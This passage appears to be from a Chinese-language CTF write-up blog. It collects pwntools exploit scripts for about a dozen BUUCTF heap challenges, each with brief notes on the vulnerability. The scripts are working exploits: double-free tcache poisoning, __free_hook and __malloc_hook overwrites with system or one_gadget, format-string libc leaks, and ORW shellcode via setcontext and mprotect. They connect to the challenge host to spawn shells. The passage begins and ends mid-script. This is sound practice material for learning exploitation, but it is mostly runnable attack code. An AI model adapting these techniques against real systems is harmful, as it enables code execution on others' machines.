r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./silent2"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =28322
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
c
x/10xg 0x6020C0
"""
gdb.attach(io, gdbscript=gdbscript)
sleep(1)

#0x10,或者0x80以上
def add(size,content):
sl(b"1")
sleep(0.2)
sl(str(size))
sleep(0.2)
s(content)
sleep(0.2)

#清零了
def free(index):
sl(b"2")
sleep(0.2)
sl(str(index))
sleep(0.2)

#没有溢出
ru(b"\n")
add(0x10,b"a")
free(0)
free(0)
add(0x10,p64(elf.got["free"]))
add(0x10,b"/bin/sh")
add(0x10,p64(elf.plt["system"]))
free(1)
#debug()
it()

ciscn_2019_nw_4

BUUCTF在线评测 (buuoj.cn)

开了沙盒,而且只能改free_hook

那么就直接setcontext+53加上orw+mprotect
沙盒的double free,修改free_hook为setcontextt然后mrpotect然后shellcode
不同版本的setcontext偏移不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./ciscn_nw_4"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =27342
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x4009B7
c
x/10xg 0x6020C0
x/10xg 0x602040
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size,content):
sla(b">> ", b"1")
sla(b"size?\n",str(size))
sa(b"content?\n",content)

def free(index):
sla(b">> ", b"2")
sla(b"index ?\n",str(index))

def show(index):
sla(b">> ", b"3")
sla(b"index ?\n",str(index))

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out
sla(b"what is your name? \n",b"a")
add(0x418,b"a")
add(0x18,b"a")
free(0)
show(0)
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7fa0930f4ca0+0x7fa092d09000
free(1)
free(1)
show(1)

heap_addr=u64(rld().ljust(8,b"\0"))-0x420+0xb0
#rdi 0x68
#rsi 0x70
#rdx 0x88
#rsp 0xa0
#rcx 0xa8
payload=b"0"*0x68+p64(heap_addr&0xfffffffffffff000)+p64(0x1000)+p64(0)*2+p64(7)+p64(0)*2+p64(heap_addr+8)+p64(libc_base+libc.sym["mprotect"])
shellcode=f"""
xor rsi,rsi;
xor rdx,rdx;
push rdx;
mov rax,{convert_str_asmencode("flag")};
push rax;
mov rdi,rsp;
xor rax,rax;
mov al,2;
syscall;
mov rdi,rax;
mov dl,0x40;
mov rsi,rsp
mov al,0;
syscall;
xor rdi,rdi;
mov al,1;
syscall;
"""
payload+=p64(0)+p64(heap_addr+0x10)+asm(shellcode)
add(len(payload),payload)
add(0x18,p64(libc_base+libc.sym["__free_hook"]))
add(0x18,b"/bin/sh\0")
add(0x18,p64(libc_base+libc.sym["setcontext"]+53))
sleep(1)
free(2)
it()

ciscn_2019_s_2

BUUCTF在线评测 (buuoj.cn)

还不错,利用realloc构造double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./ciscn_s_2"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =26722
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
c
x/10xg $rebase(0x202060)
"""
gdb.attach(io, gdbscript=gdbscript)

#name 0x100
def add(size,content):
sla(b"Your choice:", b"1")
sla(b"size?>",str(size))
sa(b"content:",content)

def free(index):
sla(b"Your choice:", b"4")
sla(b"Index:",str(index))

def show(index):
sla(b"Your choice:", b"3")
sla(b"Index:",str(index))

def edit(index,content):
sla(b"Your choice:", b"2")
sla(b"Index:",str(index))
sa(b"New content:",content)

add(0x418,b"a")
add(0x18,b"/bin/sh\0")
free(0)
add(0x18,b"a")
show(0)
ru(b"Content: ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7f0e86c41000-0x7f0e8702d061
add(0,b"\n")
sla(b"Your choice:", b"2")
sla(b"Index:",str(2))
free(2)
add(0x18,p64(libc_base+libc.sym["__free_hook"]))
add(0x18,p64(libc_base+libc.sym["system"]))
free(1)
it()

hitb2018_gundam

BUUCTF在线评测 (buuoj.cn)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./gundam"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =28534
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
c
x/xg $rebase(0x20208C)
x/10xg $rebase(0x2020A0)
"""
gdb.attach(io, gdbscript=gdbscript)

#name 0x100
def add(content):
sla(b"Your choice : ", b"1")
sa(b"The name of gundam :",content)
sla(b"The type of the gundam :",b"2")

def free(index):
sla(b"Your choice : ", b"3")
sla(b"Which gundam do you want to Destory:",str(index))

def show():
sla(b"Your choice : ", b"2")

def edit(index,content):
sla(b"Your choice: ", b"3")
sla(b"Note number: ",str(index))
sla(b"Length of note: ",str(len(content)))
sa(b"Enter your note: ",content)

add(b"a")
add(b"a")
for i in range(8):
free(0)
sla(b"Your choice : ", b"4")#free 掉0x30
add(b"a")
show()
ru(b"Gundam[0] :")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7f41e1686c61+0x7f41e129b000
add(b"a")
free(1)
free(1)
add(p64(libc_base+libc.sym["__free_hook"]))
add(b"/bin/sh\0")
add(p64(libc_base+libc.sym["system"]))
free(1)
it()

ciscn_2019_final_2

BUUCTF在线评测 (buuoj.cn)

题目还可以

一个傻逼double free题

delete check十分傻逼,指针没有清零,一旦创建另一个就可以free

需要show两次,第一次double free需要用来修改size泄露堆地址,第二次泄露libc地址,然后利用doublefree修改文件描述符

open只会在进程里面创建文件描述符,并不会生成FILE结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./ciscn_final_2"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =27388
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0x10D9 )
c
"""
gdb.attach(io, gdbscript=gdbscript)

INT=1
SHORTINT=2
def add(choice,number):
sla(b"which command?\n> ", b"1")
if choice==INT:
sla(b"short int\n>",b"1")
sla(b"your inode number:",str(number))
else:
sla(b"short int\n>",b"2")
sla(b"your inode number:",str(number))

def free(choice):
sla(b"which command?\n> ", b"2")
if choice==INT:
sla(b"short int\n>",b"1")
else:
sla(b"short int\n>",b"2")

def show(choice):
sla(b"which command?\n> ", b"3")
if choice==INT:
sla(b"short int\n>",b"1")
else:
sla(b"short int\n>",b"2")

add(INT,0x10)
free(INT)
for i in range(32):
add(SHORTINT,0x0)
free(INT)
add(SHORTINT,0x0)
free(INT)
show(INT)
ru(b"number :")
heap_addr=((int(rld())+1<<32)>>32)-0x1
add(INT,heap_addr+0x10)
add(INT,0x421)
add(INT,0)
free(INT)
show(INT)
ru(b"number :")
libc_base=((int(rld())+1<<32)>>32)-1-0x3ebca0
io_addr=libc_base+0x70+libc.sym["_IO_2_1_stdin_"]
add(INT,io_addr&0xffffffff)
add(INT,0)
free(INT)
add(SHORTINT,0)
free(INT)
add(INT,heap_addr+0x10)
add(INT,0)
add(INT,0)
add(INT,666)
sla(b"which command?\n> ", b"4")
it()

starctf2019_girlfriend

BUUCTF在线评测 (buuoj.cn)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./chall"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 28487
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
c
x/20xg $rebase(0x202060)
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size: int, name: bytes, call: bytes):
sla(b"choice:", b"1")
sla(b"size of girl's name\n", str(size).encode())
sa(b"her name:\n", name)
sa(b"input her call:\n", call)

# 可以double free
def free(index: int):
sla(b"choice:", b"4")
sla(b"the index:\n", str(index).encode())

def show(index: int):
sla(b"choice:", b"2")
sla(b"the index:\n", str(index).encode())

add(0x418, b"a" * 0x18, b"c" * 0xC)
add(0x28, b"a" * 0x18, b"c" * 0xC)
free(0)
show(0)
ru(b"name:\n")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - 0x7FC758064CA0 + 0x7FC757C79000
free(1)
free(1)
add(0x28, p64(libc_base + libc.sym["__free_hook"]), b"c")
add(0x28, b"/bin/sh\0", b"a")
add(0x28, p64(libc_base + libc.sym["system"]), b"c")
free(1)

it()

huxiangbei_2019_namesystem

BUUCTF在线评测

见csdn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./huxiangbei_2019_namesystem"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 26766
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x400A45
c
x/20xg 0x6020A0
"""
gdb.attach(io, gdbscript=gdbscript)

# 16~96
def add(size: int, content: bytes):
sla(b"choice :\n", b"1")
sla("Size:", str(size).encode())
sla(b"Name:", content)

def free(index: int):
sla(b"choice :\n", b"3")
sla(b"delete:", str(index).encode())

# def show(index: int):
# sla(b"choice :\n", b"2")
# sla(b"input note id: ", str(index).encode())

# def edit(index: int, content: bytes):
# sla(b"choice: ", b"1")
# sla(b"age of user: ", str(index).encode())
# sa(b"username: ", content)

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

for i in range(18):
add(0x18, b"a")
add(0x58, b"a") # 18
add(0x58, b"a") # 19
free(17)
free(19)
for i in range(16, -1, -1):
free(i)
free(0)
free(0)
for i in range(18):
add(0x18, b"a")
add(0x60, b"a") # 18
add(0x60, b"a") # 19
free(17)
free(19)
for i in range(16, -1, -1):
free(i)
free(0)
free(0)

add(0x58, p64(elf.got["free"] - 0x1E))
add(0x58, b"%13$p")
add(0x58, b"/bin/sh\0")
add(0x58, p64(0x71) + b"\0" * (6) + p32(elf.plt["printf"]) + b"\0")
free(1)
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 240

system_addr = libc_base + libc.sym["system"]
add(0x60, p64(elf.got["free"] - 0x16))
add(0x60, b"a")
add(0x60, b"a")
add(
0x60,
b"a" * 6
+ p32(system_addr & 0xFFFFFFFF)
+ p16((system_addr & 0xFFFF00000000) >> 32),
)
free(1)
it()

rootersctf_2019_heaaaappppp

BUUCTF在线评测

不是什么难题,就是要借助栈来泄露libc,但不是很稳定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./rootersctf_2019_heaaaappppp"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25536
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0x13B5)
c
x/4xg $rebase(0x4088)
"""
gdb.attach(io, gdbscript=gdbscript)

# 0x20 0x30 0x40
def add(size: int, content: bytes):
sla(b"choice: ", b"0")
sla("age of user: ", str(size).encode())
sa(b"Enter username: ", content)

def free():
sla(b"choice: ", b"2")

# def show(index: int):
# sla(b"5.Exit\n", b"4")
# sla(b"input note id: ", str(index).encode())

def edit(index: int, content: bytes):
sla(b"choice: ", b"1")
sla(b"age of user: ", str(index).encode())
sa(b"username: ", content)

def sendMessage(content: bytes):
sla(b"choice: ", b"3")
sa(b"Enter message to be sent: \n", content)

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

sendMessage(b"a" * 7 + b"b" + b"c")
ru(b"b")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - 0x7FA84C0DE563 + 0x7FA84BAC7000
add(0x10, b"b" * 7)
free()
free()
edit(123, p64(libc_base + libc.sym["__free_hook"]))
add(0x10, p64(libc_base + one_gadget[1]))
free()
it()

ycb_2020_easypwn

BUUCTF在线评测

挺简单的一道题目,没什么好说的,利用unsorted bin泄露libc,然后double free到malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./ycb_2020_easypwn"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 28833
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0xB76)
c
x/10xg $rebase(0x2020C0)
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size: int, content: bytes, content2: bytes):
sa(b"choice : ", b"1")
sla(b"size of the game's name: \n", str(size).encode())
sa(b"game's name:\n", content)
sla(b"game's message:\n", content2)

# def edit(index: int, content: bytes):
# sa(b"choice :", b"3")
# sa(b"Index: ", str(index).encode())
# sa(b"Size: ", str(len(content)).encode())
# sa(b"Data: ", content)

# 清空了
def free(index: int):
sa(b"choice : ", b"3")
sla(b"index:\n", str(index).encode())

def show():
sa(b"choice : ", b"2")

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

add(0x88, b"0", b"a")
add(0x88, b"1", b"a")
add(0x68, b"2", b"a")
free(0)
free(1)
add(0x28, b"a", b"b")
show()
ru(b"ame[3]'s name :")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - 0x7F510DF9FB61 + 0x7F510DBDB000
add(0x68, b"a", b"b")
# 1
free(1)
free(2)
free(1)

add(0x68, p64(libc_base + libc.sym["__malloc_hook"] - 0x23), b"a")
add(0x68, b"a", b"b")
add(0x68, b"a", b"b")

add(0x68, b"a" * 0x13 + p64(one_gadget[3] + libc_base), b"b")

sa(b"choice : ", b"1")
it()
exit(0)

gyctf_2020_some_thing_interesting

BUUCTF在线评测

比较简单的double free需要利用格式化字符串泄露栈地址strncmp只会比较对应长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./gyctf_2020_some_thing_interesting"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 26665
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0xF63)
c
x/4xg $rebase(0x2020E0)
x/4xg $rebase(0x202140)

x/4xg $rebase(0x2021A0)
x/4xg $rebase(0x202080)
"""
gdb.attach(io, gdbscript=gdbscript)

# <=0x70 舞动
def add(size: int, content: bytes, sizet: int, contentt: bytes):
sla(b"want to do :", b"1")
sla(b"> O's length : ", str(size).encode())
sa(b"> O : ", content)
sla(b"> RE's length : ", str(sizet).encode())
sa(b"> RE : ", contentt)

def edit(index: int, content: bytes, contentt: bytes):
sla(b"want to do :", b"2")
sa(b"> O : ", content)
sa(b"> RE : ", contentt)

# 没有清空,只删除
def free(index: int):
sla(b"want to do :", b"3")
sla(b"> Oreo ID : ", str(index).encode())

def show(index: int):
sla(b"want to do :", b"4")
sla(b"> Oreo ID : ", str(index).encode())

def check():
sla(b"want to do :", b"0")

sa(b"code please:", b"OreOOrereOOreO%17$p")
check()
ru(b"OreOOrereOOreO")
libc_base = int(r(14), 16) - 0x7F6CA166A830 + 0x7F6CA164A000
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
add(0x68, b"a", 0x68, b"c")
free(1)
free(1)
add(0x68, p64(malloc_hook_addr - 0x23), 0x68, b"a")
add(0x68, b"a", 0x68, b"a" * 0x13 + p64(libc_base + one_gadget[3]))
sla(b"want to do :", b"1")
# debug()
sla(b"> O's length : ", str(0x10).encode())
it()

ciscn_2019_en_3

BUUCTF在线评测

一个简简单单的double free

有一个_printf_chk,不能直接用%n$p,但还是可以直接多个%p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./ciscn_2019_en_3"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 27134
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b
c
x/10xg $rebase(0x202060)
x/xg $rebase(0x20204C)
"""
gdb.attach(io, gdbscript=gdbscript)

# 没洞
def add(size: int, content: bytes):
sla(b"choice:", b"1")
sla(b"size of story: \n", str(size).encode())
sa(b"inpute the story: \n", content)

# 没有清空
def free(index: int):
sla(b"choice:", b"4")
sla(b"input the index:\n", str(index).encode())

sa(b"name?\n", b"%p" * 0x10)
r(4)
libc_base = int(r(14), 16) - 0x7F9AECC0E081 + 0x7F9AECAFE000
free_hook_addr = libc_base + libc.sym["__free_hook"]

sa(b"Please input your ID.\n", b"a" * 8)
add(0x18, b"a" * 0x18)
free(0)
free(0)
free(0)
add(0x18, p64(free_hook_addr))
add(0x18, b"/bin/sh\0")
add(0x18, p64(libc_base + libc.sym["system"]))
free(2)
# debug()
it()

calloc

rctf2018_babyheap

BUUCTF在线评测

一个挺不错的题目

calloc不会调用tcache,所以只能用fastbin attack

unosrted bin unlink

还可以的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./babyheap"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25080
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0xD3E)
c
x/xg $rebase(0x202020)
"""
gdb.attach(io, gdbscript=gdbscript)

# <=256 calloc off by one
def add(size: int, content: bytes):
sa(b"choice: ", b"1")
sa(b"chunk size: ", str(size).encode())
sla(b"content: ", content)

# def edit(index: int, content: bytes):
# sa(b"choice :", b"3")
# sa(b"Index: ", str(index).encode())
# sa(b"Size: ", str(len(content)).encode())
# sa(b"Data: ", content)

# 清空了
def free(index: int):
sa(b"choice: ", b"3")
sa(b"index: ", str(index).encode())

def show(index: int):
sa(b"choice: ", b"2")
sa(b"index: ", str(index).encode())

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

add(0xF8, b"a")
for i in range(10):
add(0x68, b"a")
for i in range(8):
add(0xF8, b"a")
for i in range(9, 1, -1):
free(i)
for i in range(7):
free(12 + i)

free(10)
add(0x68, b"a" * 0x60 + p64(0x70 * 10 + 0x100))
free(0)
free(11)
add(0xF8, b"a")
show(1)

ru(b"content: ")
libc_base = u64(rld().ljust(8, b"\0")) - 0x7FE03BD97CA0 + 0x7FE03B9AC000
add(0x48, b"a")
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
add(0x28, b"a" * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23))
add(0x68, b"a")
add(0x68, b"a" * 0x13 + p64(one_gadget[1] + libc_base))
sa(b"choice: ", b"1")

sa(b"chunk size: ", str(0x18).encode())

it()
exit(0)

gyctf_2020_signin

BUUCTF在线评测

分析好libc源码,calloc不会从tcache中取,_int_malloc会把在fastbin的空闲块移到tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./gyctf_2020_signin"
elf = ELF(elf_path)
